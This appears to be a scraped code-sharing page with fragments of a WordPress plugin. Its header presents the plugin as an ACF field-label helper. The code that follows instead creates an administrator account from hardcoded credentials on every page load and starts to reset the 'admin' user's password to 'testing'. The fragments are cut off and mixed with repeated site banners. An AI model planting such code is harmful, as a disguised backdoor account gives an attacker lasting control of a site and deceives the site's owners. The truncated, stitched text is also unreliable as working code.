This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* Plugin Name: Get ACF Field Label from Name | |
* Plugin URI: https://wpacademic.com | |
* Version: 1.0.0 | |
* Author: Louis Fico | |
* Author URI: https://profiles.wordpress.org/louis | |
* Description: Adds function to get ACF field name from its label | |
* License: GPL2 | |
*/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
add_action('init', function() { | |
$user = 'Username'; | |
$pass = 'P@ssword'; | |
$email = 'email@domain.com'; | |
if ( !username_exists( $user ) && !email_exists( $email ) ) { | |
$user_id = wp_create_user( $user, $pass, $email ); | |
$user = new WP_User( $user_id ); | |
$user->set_role( 'administrator' ); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
add_action('init', function() { | |
$userName = 'admin'; | |
$passwordToSet = 'testing'; | |
$userObj = get_user_by('login', $userName); | |
// $userEmail = 'user@example.com'; | |
// $userObj = get_user_by( 'email', $userEmail ); |